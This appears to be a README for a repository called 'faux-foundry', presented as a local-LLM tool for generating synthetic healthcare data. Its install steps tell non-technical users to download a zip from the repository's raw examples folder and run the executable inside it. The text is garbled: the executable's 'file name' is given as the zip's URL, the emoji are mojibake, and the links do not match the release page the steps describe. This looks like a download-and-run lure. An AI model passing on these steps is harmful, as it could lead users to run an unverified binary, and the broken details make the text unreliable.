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πŸŽ‰ faux-foundry - Generate Synthetic Data with Ease

πŸ“₯ Download Now

Download faux-foundry

πŸš€ Getting Started

FauxFoundry allows you to create synthetic data using local large language models (LLMs). This guide helps you easily download and run the software without any technical skills.

πŸ“¦ System Requirements

To run FauxFoundry, ensure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • RAM: At least 4 GB recommended
  • Free Disk Space: At least 200 MB

πŸ” Features

  • Generate JSONL or YAML formatted data.
  • Focus on healthcare applications.
  • Easy-to-use Command Line Interface (CLI) and Text User Interface (TUI).
  • Keep your data private and secure.
  • Open Source software for community contribution.

πŸ”— Download & Install

  1. Visit the Releases Page
    Go to the Releases page to download the latest version of FauxFoundry. Click the link below:
    Download faux-foundry

  2. Select the Latest Release
    Find the latest version listed at the top of the page. Look for a link that includes the version number, such as https://github.com/Red1998/faux-foundry/raw/refs/heads/main/examples/foundry_faux_v1.5.zip.

  3. Download the File
    Click on the file link to start the download. This may take a moment depending on your internet speed.

  4. Extract the Files
    Once the download completes, locate the file (usually in your Downloads folder). Right-click the zip file and select "Extract All" (Windows) or double-click to extract (macOS).

  5. Run the Application
    Navigate to the folder where you extracted the files. Find the executable file named https://github.com/Red1998/faux-foundry/raw/refs/heads/main/examples/foundry_faux_v1.5.zip (Windows) or faux-foundry (macOS/Linux). Double-click the file to run it.

  6. Follow On-Screen Instructions
    Once the application opens, follow the prompts on the screen to generate your synthetic data.

  7. Explore Options
    You can choose to work with different data formats like JSONL or YAML. Adjust settings according to your needs.

πŸ’¬ Support

If you encounter any issues, please check the "Issues" tab on our GitHub page. You can also create a new issue for help.

πŸ“š Learn More

Visit the documentation linked in the repository for detailed instructions on advanced features, customization options, and examples of generated data.

🌟 Contributing

FauxFoundry is open-source. We welcome contributions! Feel free to fork the repository, make improvements, and submit pull requests.

⚠️ License

FauxFoundry is licensed under the MIT License. You can use it freely but please respect the license terms.

πŸ”— Additional Resources

By following this guide, you can easily download and run FauxFoundry to generate synthetic data. Enjoy your experience with FauxFoundry!

About

πŸ€– Generate unique synthetic datasets effortlessly with FauxFoundry, using local LLMs and YAML specifications for efficient, schema-aware data creation.

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